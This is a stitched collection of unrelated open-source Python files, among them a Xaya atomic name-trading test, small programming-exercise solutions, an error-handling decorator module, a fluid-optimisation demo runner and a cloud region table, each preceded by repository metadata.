#!/usr/bin/env python3 # Copyright (c) 2019 The Xaya developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Tests trading with atomic name updates.""" from test_framework.test_framework import BitcoinTestFramework from test_framework.messages import ( COIN, COutPoint, CTransaction, CTxIn, CTxOut, ) from test_framework.script import ( CScript, OP_2DROP, OP_DROP, OP_NAME_UPDATE, ) from test_framework.util import ( assert_equal, assert_greater_than, hex_str_to_bytes, ) from decimal import Decimal import io import json # The fee paid for example transactions. FEE = Decimal ('0.01') class AtomicTradingTest (BitcoinTestFramework): def set_test_params (self): self.setup_clean_chain = True self.num_nodes = 2 def generate (self, n, ind = 0): """ Mines n blocks with rewards sent to an address that is in the wallet of none of the test nodes. This ensures that balances are stable and not changing except through the test. """ addr = "chirt1qcmdxwpu35mqlzxz3alc9u9ztp22edsuc5s7zzk" self.nodes[ind].generatetoaddress (n, addr) def buildTxOut (self, addr, amount): """ Builds a CTxOut message that sends the given amount of CHI to the given address. """ addrData = self.nodes[0].validateaddress (addr) addrScript = hex_str_to_bytes (addrData["scriptPubKey"]) return CTxOut (int (amount * COIN), addrScript) def buildNameUpdate (self, name, value, addr, amount): """ Builds a name_update output with the given data. """ addrData = self.nodes[0].validateaddress (addr) addrScript = hex_str_to_bytes (addrData["scriptPubKey"]) bname = name.encode ("utf-8") bvalue = value.encode ("utf-8") nameScript = CScript ([OP_NAME_UPDATE, bname, bvalue, OP_2DROP, OP_DROP]) # Adding two CScript instances together pushes the second operand # as data, rather than simply concatenating the scripts. Thus we do # the concatenation as raw bytes. nameScriptBytes = bytes (nameScript) return CTxOut (int (amount * COIN), nameScriptBytes + addrScript) def findOutput (self, node, amount): """ Finds an unspent output in the given node with at least the required amount. Returns the matching COutPoint as well as its value. """ for u in node.listunspent (): if u["amount"] >= amount: outp = COutPoint (int (u["txid"], 16), u["vout"]) return outp, Decimal (u["amount"]) raise AssertionError ("No output found with value >= %.8f" % amount) def parseHexTx (self, txHex): """ Converts a transaction in hex format to a CTransaction instance. """ data = hex_str_to_bytes (txHex) tx = CTransaction () tx.deserialize (io.BytesIO (data)) return tx def getBalances (self): """ Returns an array with the balances of both nodes. """ return [self.nodes[i].getbalance () for i in range (2)] def assertBalanceChange (self, before, changes): """ Asserts that the balances of the nodes have changed compared to the values of "before" in the given amount. """ after = self.getBalances () assert_equal (len (before), len (changes)) assert_equal (after, [before[i] + changes[i] for i in range (len (before))]) def getTxFee (self, node, txid): """ Computes the paid transaction fee in the given tx. All inputs to the transaction must be in the node's wallet. """ txHex = node.gettransaction (txid)["hex"] data = node.decoderawtransaction (txHex) inSum = Decimal ('0.00000000') for vin in data["vin"]: prevTxHex = node.gettransaction (vin["txid"])["hex"] prevTx = node.decoderawtransaction (prevTxHex) inSum += Decimal (prevTx["vout"][vin["vout"]]["value"]) outSum = Decimal ('0.00000000') for vout in data["vout"]: outSum += Decimal (vout["value"]) assert_greater_than (inSum, outSum) return inSum - outSum def buildBid (self, node, name, value, price): """ Builds a partially signed "bid" offer for updating the name to the given value and paying the given price for that. The node is used as the bidder (i.e. the price is funded from it). The partially signed bid transaction is returned as hex string. """ nameData = node.name_show (name) addr = nameData["address"] namePrevOut = node.gettxout (nameData["txid"], nameData["vout"]) assert_equal (namePrevOut["scriptPubKey"]["addresses"], [addr]) nameValue = namePrevOut["value"] tx = CTransaction () nameOut = COutPoint (int (nameData["txid"], 16), nameData["vout"]) tx.vin.append (CTxIn (nameOut)) tx.vout.append (self.buildNameUpdate (name, value, addr, nameValue)) tx.vout.append (self.buildTxOut (addr, price)) inp, inValue = self.findOutput (node, price) tx.vin.append (CTxIn (inp)) change = inValue - price - FEE assert_greater_than (change, 0) changeAddr = node.getnewaddress () tx.vout.append (self.buildTxOut (changeAddr, change)) txHex = tx.serialize ().hex () signed = node.signrawtransactionwithwallet (txHex) assert not signed["complete"] return signed["hex"] def buildAsk (self, node, name, value, price): """ Builds a partially signed "ask" offer for updating the name as given. The problem with prebuilt asks is that the seller does not know which inputs the buyer uses to pay. This is solved by signing the name input with SINGLE|ANYONECANPAY and sending the ask price *into the name*. (It can be recovered later, as the only requirement for the locked amount is that it always stays >= 0.01 CHI.) The node is the seller, who owns the name. Note that this type of order is rather useless for most real-world situations of trading game assets (since the name value would need to contain a transfer of assets to the seller, which is not known yet). There may still be some situations where it can be useful, but it is mainly interesting since the same method can be applied for "sentinel inputs" as well; the only difference there is that the input/output pair created does not involve any names at all. """ nameData = node.name_show (name) namePrevOut = node.gettxout (nameData["txid"], nameData["vout"]) nameValue = namePrevOut["value"] addr = node.getnewaddress () tx = CTransaction () nameOut = COutPoint (int (nameData["txid"], 16), nameData["vout"]) tx.vin.append (CTxIn (nameOut)) tx.vout.append (self.buildNameUpdate (name, value, addr, nameValue + price)) txHex = tx.serialize ().hex () signed = node.signrawtransactionwithwallet (txHex, [], "SINGLE|ANYONECANPAY") assert signed["complete"] return signed["hex"] def run_test (self): # Mine initial blocks so that both nodes have matured coins and no # more are mined for them in the future (so we can check balances). self.nodes[0].generate (10) self.nodes[1].generate (10) self.generate (110, ind=0) # Register a name for testing. self.nodes[0].name_register ("p/test", "{}") self.generate (1, ind=0) # Make sure everything is as expected. self.sync_blocks () for node in self.nodes: info = node.getwalletinfo () assert_equal (info["immature_balance"], 0) # Run individual tests. self.testBidOffer () self.testAskOffer () def testBidOffer (self): self.log.info ("Testing trading by taking a bid offer...") # Build the bid transaction. name = "p/test" newValue = json.dumps ({"data": "bid taken"}) bid = self.buildBid (self.nodes[1], name, newValue, 10) # The seller must not change the name-update value (this will invalidate # the signature on the bid). wrongValue = json.dumps ({"data": "wrong"}) addr = self.nodes[0].getnewaddress () tx = self.parseHexTx (bid) tx.vout[0] = self.buildNameUpdate (name, wrongValue, addr, 0.01) txHex = tx.serialize ().hex () signed = self.nodes[0].signrawtransactionwithwallet (txHex) assert not signed["complete"] # The seller also must not change the amount he gets. tx = self.parseHexTx (bid) tx.vout[1].nValue = 20 * COIN txHex = tx.serialize ().hex () signed = self.nodes[0].signrawtransactionwithwallet (txHex) assert not signed["complete"] # Take the bid successfully and verify the expected changes. signed = self.nodes[0].signrawtransactionwithwallet (bid) assert signed["complete"] oldValue = self.nodes[0].name_show (name)["value"] assert oldValue != newValue before = self.getBalances () self.nodes[0].sendrawtransaction (signed["hex"]) self.generate (1) self.sync_blocks () self.assertBalanceChange (before, [10, -10 - FEE]) nameData = self.nodes[0].name_show (name) assert nameData["ismine"] assert_equal (nameData["value"], newValue) def testAskOffer (self): self.log.info ("Testing trading by taking an ask offer...") # Build the ask transaction. price = 10 name = "p/test" newValue = json.dumps ({"data": "ask taken"}) ask = self.buildAsk (self.nodes[0], name, newValue, price) # Complete it by funding properly. tx = self.parseHexTx (ask) inp, inValue = self.findOutput (self.nodes[1], price) tx.vin.append (CTxIn (inp)) change = inValue - price - FEE assert_greater_than (change, 0) changeAddr = self.nodes[1].getnewaddress () tx.vout.append (self.buildTxOut (changeAddr, change)) ask = tx.serialize ().hex () # The transaction should be invalid if the amount received by the seller # is changed. tx = self.parseHexTx (ask) tx.vout[0].nValue = COIN txHex = tx.serialize ().hex () signed = self.nodes[1].signrawtransactionwithwallet (txHex) assert not signed["complete"] # The transaction should be invalid if the name-output script is changed # to something else. wrongValue = json.dumps ({"data": "wrong"}) addr = self.nodes[0].getnewaddress () tx = self.parseHexTx (ask) tx.vout[0] = self.buildNameUpdate (name, wrongValue, addr, 10.01) txHex = tx.serialize ().hex () signed = self.nodes[1].signrawtransactionwithwallet (txHex) assert not signed["complete"] # Take the ask successfully. signed = self.nodes[1].signrawtransactionwithwallet (ask) assert signed["complete"] oldValue = self.nodes[0].name_show (name)["value"] assert oldValue != newValue before = self.getBalances () self.nodes[0].sendrawtransaction (signed["hex"]) self.generate (1) self.sync_blocks () nameData = self.nodes[0].name_show (name) assert nameData["ismine"] assert_equal (nameData["value"], newValue) # Recover the locked price and verify wallet balances. txid = self.nodes[0].name_update (name, "{}") self.generate (1, ind=0) feeUpdate = self.getTxFee (self.nodes[0], txid) assert_greater_than (0.001, feeUpdate) self.assertBalanceChange (before, [10 - feeUpdate, -10 - FEE]) if __name__ == '__main__': AtomicTradingTest ().main ()
85ae65707ad634936086129bb17d2ebc16ab0115
eef39fd96ef4ed289c1567f56fde936d5bc42ea4
/BaekJoon/Bronze2/2744.py
15ea7e4ea8c55e3f6546f94a24d170bd01b27fa9
[]
no_license
dudwns9331/PythonStudy
3e17da9417507da6a17744c72835c7c2febd4d2e
b99b9ef2453af405daadc6fbf585bb880d7652e1
refs/heads/master
2023-06-15T12:19:56.019844
2021-07-15T08:46:10
2021-07-15T08:46:10
324,196,430
4
0
null
null
null
null
UTF-8
Python
false
false
753
py
# 대소문자 바꾸기 """ 2021-01-20 오후 4:09 안영준 문제 영어 소문자와 대문자로 이루어진 단어를 입력받은 뒤, 대문자는 소문자로, 소문자는 대문자로 바꾸어 출력하는 프로그램을 작성하시오. 입력 첫째 줄에 영어 소문자와 대문자로만 이루어진 단어가 주어진다. 단어의 길이는 최대 100이다. 출력 첫째 줄에 입력으로 주어진 단어에서 대문자는 소문자로, 소문자는 대문자로 바꾼 단어를 출력한다. """ String = input() result = list() for i in range(len(String)): if String[i].islower(): result.append(String[i].upper()) else: result.append(String[i].lower()) print(''.join(map(str, result)))
51ef475926c1fe3bb2fb1c490a227bcaa3740d0b
21bd66da295baa48603ca9f169d870792e9db110
/cgp/utils/failwith.py
3647d91543301dbab771107a4c9d604d07544190
[]
no_license
kristto/cgptoolbox
e6c01ccea1da06e35e26ffbca227258023377e48
8bbaf462e9c1320f237dd3c1ae6d899e1d01ade7
refs/heads/master
2021-01-16T20:38:45.097722
2012-03-01T09:18:10
2012-03-01T09:18:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,964
py
"""Modify a function to return a default value in case of error.""" from functools import wraps import logging from contextlib import contextmanager import numpy as np class NullHandler(logging.Handler): def emit(self, record): pass logger = logging.getLogger("failwith") logger.addHandler(NullHandler()) @contextmanager def silenced(logger, level=logging.CRITICAL): """ Silence a logger for the duration of the 'with' block. >>> logger.error("Error as usual.") Error as usual. >>> with silenced(logger): ... logger.error("Silenced error.") >>> logger.error("Back to normal.") Back to normal. You may specify a different temporary level if you like. >>> with silenced(logger, logging.INFO): ... logger.error("Breaking through the silence.") Breaking through the silence. """ oldlevel = logger.level try: logger.setLevel(level) yield logger finally: logger.setLevel(oldlevel) def nans_like(x): """ Returns an array of nans with the same shape and type as a given array. This also works recursively with tuples, lists or dicts whose leaf nodes are arrays. >>> x = np.arange(3.0) >>> nans_like(x) array([ nan, nan, nan]) >>> y = x.view([(k, float) for k in "a", "b", "c"]) >>> nans_like(y) array([(nan, nan, nan)], dtype=[('a', '<f8'), ('b', '<f8'), ('c', '<f8')]) >>> nans_like(y.view(np.recarray)) rec.array([(nan, nan, nan)], dtype=[('a', '<f8'), ('b', '<f8'), ('c', '<f8')]) Tuple, list, dict. >>> nans_like((x, y)) [array([ nan, nan, nan]), array([(nan, nan, nan)], dtype=[('a', '<f8'), ('b', '<f8'), ('c', '<f8')])] >>> nans_like([x, y]) [array([ nan, nan, nan]), array([(nan, nan, nan)], dtype=[('a', '<f8'), ('b', '<f8'), ('c', '<f8')])] >>> nans_like(dict(a=x, b=y)) {'a': array([ nan, nan, nan]), 'b': array([(nan, nan, nan)], dtype=[('a', '<f8'), ('b', '<f8'), ('c', '<f8')])} Nested list and dict. >>> nans_like([x, [x, y]]) [array([ nan, nan, nan]), [array([ nan, nan, nan]), array([(nan, nan, nan)], dtype=[('a', '<f8'), ('b', '<f8'), ('c', '<f8')])]] >>> nans_like(dict(a=x, b=dict(c=x, d=y))) {'a': array([ nan, nan, nan]), 'b': {'c': array([ nan, nan, nan]), 'd': array([(nan, nan, nan)], dtype=[('a', '<f8'), ('b', '<f8'), ('c', '<f8')])}} Note that there is no nan for integers. >>> nans_like((1, 2, 3)) Traceback (most recent call last): AssertionError: nan is only defined for float types, not int... This works because the 1.0 makes Numpy interpret the tuple as a float array. >>> nans_like((1.0, 2, 3)) array([ nan, nan, nan]) """ try: return dict((k, nans_like(v)) for k, v in x.iteritems()) except AttributeError: try: xc = np.copy(x) try: xc = x.__array_wrap__(xc) except AttributeError: pass msg = "nan is only defined for float types, not %s" % xc.dtype assert not xc.dtype.kind == "i", msg xc.view(np.float).fill(np.nan) return xc except TypeError: return [nans_like(i) for i in x] def failwith(default=None): """ Modify a function to return a default value in case of error. >>> @failwith("Default") ... def f(x): ... raise Exception("Failure") >>> f(1) 'Default' Exceptions are logged, but the default handler doesn't do anything. This example adds a handler so exceptions are logged to :data:`sys.stdout`. >>> import sys >>> logger.addHandler(logging.StreamHandler(sys.stdout)) >>> f(2) Failure in <function f at 0x...>. Default: Default. args = (2,), kwargs = {} Traceback (most recent call last):... Exception: Failure 'Default' >>> del logger.handlers[-1] # Removing the handler added by the doctest """ def decorator(func): @wraps(func) def wrapper(*args, **kwargs): try: result = func(*args, **kwargs) except Exception, exc: msg = "Failure in %s. Default: %s. args = %s, kwargs = %s" logger.exception(msg, func, default, args, kwargs) result = default return result return wrapper return decorator def failwithnanlikefirst(func): """ Like :func:`failwith`, but the default is set to `nan` + result on first evaluation. >>> @failwithnanlikefirst ... def f(x): ... return 1.0 / x >>> f(1) 1.0 >>> f(0) array(nan) Exceptions are logged, but the default handler doesn't do anything. This example adds a handler so exceptions are logged to :data:`sys.stdout`. >>> import sys >>> logger.addHandler(logging.StreamHandler(sys.stdout)) >>> f(0) Failure in <function f at 0x...>. Default: nan. args = (0,), kwargs = {} Traceback (most recent call last):... ZeroDivisionError: float division... array(nan) If the first evaluation fails, the exception is logged with an explanatory note, then re-raised. >>> @failwithnanlikefirst ... def g(): ... raise Exception("Failure") >>> try: ... g() ... except Exception, exc: ... print "Caught exception:", exc <function g at 0x...> failed on first evaluation, or result could not be interpreted as array of float. args = (), kwargs = {} Traceback (most recent call last):...Exception: Failure Caught exception: Failure """ d = {} # mutable container to store the default between evaluations @wraps(func) def wrapper(*args, **kwargs): if not d: # First evaluation try: result = func(*args, **kwargs) d["default"] = nans_like(result) except Exception, exc: msg = "%s failed on first evaluation, " msg += "or result could not be interpreted as array of float. " msg += "args = %s, kwargs = %s" logger.exception(msg, func, args, kwargs) raise else: # Not first evaluation, so default is defined try: result = func(*args, **kwargs) except Exception, exc: msg = "Failure in %s. Default: %s. args = %s, kwargs = %s" logger.exception(msg, func, d["default"], args, kwargs) result = d["default"] return result return wrapper def failwithnan_asfor(*args, **kwargs): """ Like :func:`failwith`, but the default is set to `nans_like(func(*args, **kwargs))`. >>> @failwithnan_asfor(2.0, 3) ... def f(value, length): ... return [value] * length >>> f() array([ nan, nan, nan]) """ def decorator(func): default = nans_like(func(*args, **kwargs)) return failwith(default)(func) return decorator def failwithdefault_asfor(*args, **kwargs): """ Like :func:`failwith`, but the default is set to `func(*args, **kwargs)`. >>> @failwithdefault_asfor(2, 3) ... def f(value, length): ... return [value] * length >>> f() [2, 2, 2] """ def decorator(func): default = func(*args, **kwargs) return failwith(default)(func) return decorator if __name__ == "__main__": import doctest doctest.testmod(optionflags=doctest.NORMALIZE_WHITESPACE | doctest.ELLIPSIS)
c7cc769036318b5263632ef6db922b0a4ffa72cf
0533d0ceb5966f7327f40d54bbd17e08e13d36bf
/python/HashMap/Maximum Number of Balloons/Maximum Number of Balloons.py
485eee52af17f72c857b5f35d3beacd6b25b3591
[]
no_license
danwaterfield/LeetCode-Solution
0c6178952ca8ca879763a87db958ef98eb9c2c75
d89ebad5305e4d1a185b0c6f101a88691602b523
refs/heads/master
2023-03-19T01:51:49.417877
2020-01-11T14:17:42
2020-01-11T14:17:42
null
0
0
null
null
null
null
UTF-8
Python
false
false
262
py
from collections import Counter class Solution(object): def maxNumberOfBalloons(self, text): """ :type text: str :rtype: int """ c = Counter(text) return min(c["b"], c["a"], c["l"] // 2, c["o"] // 2, c["n"])
5ae4b198d2a7269a72cc1d693548079756c4fb9b
e16d7d8f60145c68640b25aa7c259618be60d855
/django_test/webtest/testapp/urls.py
32d935549071646c1d172c99ccd6ba69db2bd72b
[]
no_license
zongqiqi/mypython
bbe212223002dabef773ee0dbeafbad5986b4639
b80f3ce6c30a0677869a7b49421a757c16035178
refs/heads/master
2020-04-21T07:39:59.594233
2017-12-11T00:54:44
2017-12-11T00:54:44
98,426,286
2
0
null
null
null
null
UTF-8
Python
false
false
115
py
from django.conf.urls import url from . import views urlpatterns = [ url(r'^$', views.index,name='index'), ]
3b5771126a3de74c7f3d369f13baba24a89456bb
1b300019417ea1e25c59dd6f00fbffb60ec5a123
/python/example/run_demo.py
1bcd9cc24764d75872a145135941ce238fefc7d5
[ "MIT" ]
permissive
Wendong-Huo/diff_stokes_flow
9176210b162e9a8c7b9910274fe4c699814fa7d7
55eb7c0f3a9d58a50c1a09c2231177b81e0da84e
refs/heads/master
2023-03-16T13:16:17.028974
2020-12-11T03:55:44
2020-12-11T03:55:44
576,797,332
1
0
null
null
null
null
UTF-8
Python
false
false
7,729
py
import sys sys.path.append('../') from pathlib import Path import numpy as np from importlib import import_module import scipy.optimize import time import matplotlib.pyplot as plt from tqdm import tqdm import pickle import os from py_diff_stokes_flow.common.common import print_info, print_ok, print_error, print_warning, ndarray from py_diff_stokes_flow.common.grad_check import check_gradients from py_diff_stokes_flow.common.display import export_gif # Update this dictionary if you would like to add new demos. all_demo_names = { # ID: (module name, class name). 'amplifier': ('amplifier_env_2d', 'AmplifierEnv2d'), 'flow_averager': ('flow_averager_env_3d', 'FlowAveragerEnv3d'), 'superposition_gate': ('superposition_gate_env_3d', 'SuperpositionGateEnv3d'), 'funnel': ('funnel_env_3d', 'FunnelEnv3d'), 'fluidic_twister': ('fluidic_twister_env_3d', 'FluidicTwisterEnv3d'), 'fluidic_switch': ('fluidic_switch_env_3d', 'FluidicSwitchEnv3d'), } if __name__ == '__main__': # Input check. if len(sys.argv) != 2: print_error('Usage: python run_demo.py [demo_name]') sys.exit(0) demo_name = sys.argv[1] assert demo_name in all_demo_names # Hyperparameters which are loaded from the config file. config_file_name = 'config/{}.txt'.format(demo_name) config = {} with open(config_file_name, 'r') as f: lines = f.readlines() for line in lines: key, val = line.strip().split(':') key = key.strip() val = val.strip() config[key] = val seed = int(config['seed']) sample_num = int(config['sample_num']) solver = config['solver'] rel_tol = float(config['rel_tol']) max_iter = int(config['max_iter']) enable_grad_check = config['enable_grad_check'] == 'True' spp = int(config['spp']) fps = int(config['fps']) # Load class. module_name, env_name = all_demo_names[demo_name] Env = getattr(import_module('py_diff_stokes_flow.env.{}'.format(module_name)), env_name) env = Env(seed, demo_name) # Global search: randomly sample initial guesses and pick the best. samples = [] losses = [] best_sample = None best_loss = np.inf print_info('Randomly sampling initial guesses...') for _ in tqdm(range(sample_num)): x = env.sample() loss, _ = env.solve(x, False, { 'solver': solver }) losses.append(loss) samples.append(ndarray(x).copy()) if loss < best_loss: best_loss = loss best_sample = np.copy(x) unit_loss = np.mean(losses) pickle.dump((losses, samples, unit_loss, best_sample), open('{}/sample.data'.format(demo_name), 'wb')) # Load from file. losses, _, unit_loss, best_sample = pickle.load(open('{}/sample.data'.format(demo_name), 'rb')) print_info('Randomly sampled {:d} initial guesses.'.format(sample_num)) print_info('Loss (min, max, mean): ({:4f}, {:4f}, {:4f}).'.format( np.min(losses), np.max(losses), np.mean(losses) )) print_info('Normalized loss (min, max, mean): ({:4f}, {:4f}, {:4f}).'.format( np.min(losses) / unit_loss, np.max(losses) / unit_loss, 1 )) # Local optimization: run L-BFGS from best_sample. x_init = np.copy(best_sample) bounds = scipy.optimize.Bounds(env.lower_bound(), env.upper_bound()) def loss_and_grad(x): t_begin = time.time() loss, grad, _ = env.solve(x, True, { 'solver': solver }) # Normalize loss and grad. loss /= unit_loss grad /= unit_loss t_end = time.time() print('loss: {:3.6e}, |grad|: {:3.6e}, time: {:3.6f}s'.format(loss, np.linalg.norm(grad), t_end - t_begin)) return loss, grad if enable_grad_check: print_info('Checking gradients...') # Sanity check gradients. success = check_gradients(loss_and_grad, x_init) if success: print_ok('Gradient check succeeded.') else: print_error('Gradient check failed.') sys.exit(0) # File index + 1 = len(opt_history). loss, grad = loss_and_grad(x_init) opt_history = [(x_init.copy(), loss, grad.copy())] pickle.dump(opt_history, open('{}/{:04d}.data'.format(demo_name, 0), 'wb')) def callback(x): loss, grad = loss_and_grad(x) global opt_history cnt = len(opt_history) print_info('Summary of iteration {:4d}'.format(cnt)) opt_history.append((x.copy(), loss, grad.copy())) print_info('loss: {:3.6e}, |grad|: {:3.6e}, |x|: {:3.6e}'.format( loss, np.linalg.norm(grad), np.linalg.norm(x))) # Save data to the folder. pickle.dump(opt_history, open('{}/{:04d}.data'.format(demo_name, cnt), 'wb')) results = scipy.optimize.minimize(loss_and_grad, x_init.copy(), method='L-BFGS-B', jac=True, bounds=bounds, callback=callback, options={ 'ftol': rel_tol, 'maxiter': max_iter}) if not results.success: print_warning('Local optimization fails to reach the optimal condition and will return the last solution.') print_info('Data saved to {}/{:04d}.data.'.format(demo_name, len(opt_history) - 1)) # Load results from demo_name. cnt = 0 while True: data_file_name = '{}/{:04d}.data'.format(demo_name, cnt) if not os.path.exists(data_file_name): cnt -= 1 break cnt += 1 data_file_name = '{}/{:04d}.data'.format(demo_name, cnt) print_info('Loading data from {}.'.format(data_file_name)) opt_history = pickle.load(open(data_file_name, 'rb')) # Plot the optimization progress. plt.rc('pdf', fonttype=42) plt.rc('font', size=18) plt.rc('axes', titlesize=18) plt.rc('axes', labelsize=18) fig = plt.figure(figsize=(18, 12)) ax_loss = fig.add_subplot(121) ax_grad = fig.add_subplot(122) ax_loss.set_position((0.12, 0.2, 0.33, 0.6)) iterations = np.arange(len(opt_history)) ax_loss.plot(iterations, [l for _, l, _ in opt_history], color='tab:red') ax_loss.set_xlabel('Iteration') ax_loss.set_ylabel('Loss') ax_loss.set_yscale('log') ax_loss.grid(True, which='both') ax_grad.set_position((0.55, 0.2, 0.33, 0.6)) ax_grad.plot(iterations, [np.linalg.norm(g) + np.finfo(np.float).eps for _, _, g in opt_history], color='tab:green') ax_grad.set_xlabel('Iteration') ax_grad.set_ylabel('|Gradient|') ax_grad.set_yscale('log') ax_grad.grid(True, which='both') plt.show() fig.savefig('{}/progress.pdf'.format(demo_name)) # Render the results. print_info('Rendering optimization history in {}/'.format(demo_name)) # 000k.png renders opt_history[k], which is also the last element in 000k.data. cnt = len(opt_history) for k in range(cnt - 1): xk0, _, _ = opt_history[k] xk1, _, _ = opt_history[k + 1] for i in range(fps): t = i / fps xk = (1 - t) * xk0 + t * xk1 env.render(xk, '{:04d}.png'.format(k * fps + i), { 'solver': solver, 'spp': spp }) print_info('{}/mode_[0-9]*/{:04d}.png is ready.'.format(demo_name, k * fps + i)) env.render(opt_history[-1][0], '{:04d}.png'.format((cnt - 1) * fps), { 'solver': solver, 'spp': spp }) print_info('{}/mode_[0-9]*/{:04d}.png is ready.'.format(demo_name, (cnt - 1) * fps)) # Get mode number. mode_num = 0 while True: mode_folder = Path(demo_name) / 'mode_{:04d}'.format(mode_num) if not mode_folder.exists(): break export_gif(mode_folder, '{}_{:04d}.gif'.format(demo_name, mode_num), fps=fps) print_info('Video {}_{:04d}.gif is ready.'.format(demo_name, mode_num)) mode_num += 1
73dde30ee3e5e9b336b4af24f9c38c43d0e0cf60
a5698f82064aade6af0f1da21f504a9ef8c9ac6e
/huaweicloud-sdk-cce/huaweicloudsdkcce/v3/region/cce_region.py
8075aff2ddabc7a62cba30087f4176a99207fa16
[ "Apache-2.0" ]
permissive
qizhidong/huaweicloud-sdk-python-v3
82a2046fbb7d62810984399abb2ca72b3b47fac6
6cdcf1da8b098427e58fc3335a387c14df7776d0
refs/heads/master
2023-04-06T02:58:15.175373
2021-03-30T10:47:29
2021-03-30T10:47:29
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,907
py
# coding: utf-8 import types from huaweicloudsdkcore.region.region import Region class CceRegion: def __init__(self): pass CN_NORTH_1 = Region(id="cn-north-1", endpoint="https://cce.cn-north-1.myhuaweicloud.com") CN_NORTH_4 = Region(id="cn-north-4", endpoint="https://cce.cn-north-4.myhuaweicloud.com") CN_SOUTH_1 = Region(id="cn-south-1", endpoint="https://cce.cn-south-1.myhuaweicloud.com") CN_EAST_2 = Region(id="cn-east-2", endpoint="https://cce.cn-east-2.myhuaweicloud.com") CN_EAST_3 = Region(id="cn-east-3", endpoint="https://cce.cn-east-3.myhuaweicloud.com") CN_SOUTHWEST_2 = Region(id="cn-southwest-2", endpoint="https://cce.cn-southwest-2.myhuaweicloud.com") AP_SOUTHEAST_1 = Region(id="ap-southeast-1", endpoint="https://cce.ap-southeast-1.myhuaweicloud.com") AP_SOUTHEAST_2 = Region(id="ap-southeast-2", endpoint="https://cce.ap-southeast-2.myhuaweicloud.com") AP_SOUTHEAST_3 = Region(id="ap-southeast-3", endpoint="https://cce.ap-southeast-3.myhuaweicloud.com") AF_SOUTH_1 = Region(id="af-south-1", endpoint="https://cce.af-south-1.myhuaweicloud.com") static_fields = types.MappingProxyType({ "cn-north-1": CN_NORTH_1, "cn-north-4": CN_NORTH_4, "cn-south-1": CN_SOUTH_1, "cn-east-2": CN_EAST_2, "cn-east-3": CN_EAST_3, "cn-southwest-2": CN_SOUTHWEST_2, "ap-southeast-1": AP_SOUTHEAST_1, "ap-southeast-2": AP_SOUTHEAST_2, "ap-southeast-3": AP_SOUTHEAST_3, "af-south-1": AF_SOUTH_1, }) @staticmethod def value_of(region_id, static_fields=static_fields): if region_id is None or len(region_id) == 0: raise KeyError("Unexpected empty parameter: region_id.") if not static_fields.get(region_id): raise KeyError("Unexpected region_id: " + region_id) return static_fields.get(region_id)
dbbab268c0f12ac2bcfab7eab23967dd84e060e4
0252a277036b9ac7f95e5db3cad6c1a94b89c4ef
/eaif4_ws/build/turtlebot_apps/turtlebot_rapps/catkin_generated/pkg.installspace.context.pc.py
5910a9329ceee27595e6b34e8f4452ce3011c710
[]
no_license
maxwelldc/lidar_slam
1e5af586cd2a908474fa29224b0d9f542923c131
560c8507ea1a47844f9ce6059f48937b0627967b
refs/heads/master
2020-07-01T03:15:42.877900
2019-08-07T10:25:27
2019-08-07T10:25:27
201,025,062
0
0
null
null
null
null
UTF-8
Python
false
false
378
py
# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else [] PROJECT_CATKIN_DEPENDS = "".replace(';', ' ') PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else [] PROJECT_NAME = "turtlebot_rapps" PROJECT_SPACE_DIR = "/home/wenhou/eaif4_ws/install" PROJECT_VERSION = "2.3.7"
c42484aa0e251a858cba80f1b7cbda8c5b61ad40
b6fa182321756b891b84958e2b2c01e63b3f88b2
/stepik/product _of_numbers.py
61d44cf81b636fd8b2f1484dd3cedb783f9c8444
[]
no_license
carden-code/python
872da0dff5466070153cf945c428f1bc8309ea2b
64e4df0d9893255ad362a904bb5d9677a383591c
refs/heads/master
2023-07-05T05:14:16.479392
2021-08-22T21:27:36
2021-08-22T21:27:36
305,476,509
0
0
null
null
null
null
UTF-8
Python
false
false
1,546
py
# Напишите программу для определения, является ли число произведением двух чисел из данного набора, # выводящую результат в виде ответа «ДА» или «НЕТ». # # Формат входных данных # В первой строке подаётся число n, (0 < n < 1000) – количество чисел в наборе. # В последующих n строках вводятся целые числа, составляющие набор (могут повторяться). # Затем следует целое число, которое является или не является произведением двух каких-то чисел из набора. # # Формат выходных данных # Программа должна вывести «ДА» или «НЕТ» в соответствии с условием задачи. # # Примечание. # Само на себя число из набора умножиться не может, другими словами, два множителя должны иметь разные номера в наборе. amount_numbers = int(input()) numbers_list = [int(input()) for _ in range(amount_numbers)] product = int(input()) yes = False for index, num in enumerate(numbers_list): for i, n in enumerate(numbers_list): if index != i and num * n == product: yes = True print('ДА' if yes else 'НЕТ')
4c005fbd4e54f24c9b1a2f8d6364a336338e0c60
0fd5793e78e39adbfe9dcd733ef5e42390b8cc9a
/python3/19_Concurrency_and_Parallel_Programming/02_multiprocessing/example2.py
b775c924c64d2785f7f994c9c8c606e50a2ae97e
[]
no_license
udhayprakash/PythonMaterial
3ea282ceb4492d94d401e3bc8bad9bf6e9cfa156
e72f44e147141ebc9bf9ec126b70a5fcdbfbd076
refs/heads/develop
2023-07-08T21:07:33.154577
2023-07-03T10:53:25
2023-07-03T10:53:25
73,196,374
8
5
null
2023-05-26T09:59:17
2016-11-08T14:55:51
Jupyter Notebook
UTF-8
Python
false
false
1,073
py
import collections import multiprocessing as mp Msg = collections.namedtuple("Msg", ["event", "args"]) class BaseProcess(mp.Process): """A process backed by an internal queue for simple one-way message passing.""" def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.queue = mp.Queue() def send(self, event, *args): """Puts the event and args as a `Msg` on the queue""" msg = Msg(event, args) self.queue.put(msg) def dispatch(self, msg): event, args = msg handler = getattr(self, "do_%s" % event, None) if not handler: raise NotImplementedError("Process has no handler for [%s]" % event) handler(*args) def run(self): while True: msg = self.queue.get() self.dispatch(msg) # usage class MyProcess(BaseProcess): def do_helloworld(self, arg1, arg2): print(arg1, arg2) if __name__ == "__main__": process = MyProcess() process.start() process.send("helloworld", "hello", "world")
f10cdd86dd40f18b8d7c02cf3eabfd28b6204cf2
9f61f361a545825dd6ff650c2d81bc4d035649bd
/tests/test_document.py
e95f63d807e367b91125f2d53fc4b1218a64b17d
[ "MIT" ]
permissive
cassj/dexy
53c9e7ce3f601d9af678816397dcaa3a111ba670
fddfeb4db68c362a4126f496dbd019f4639d07ba
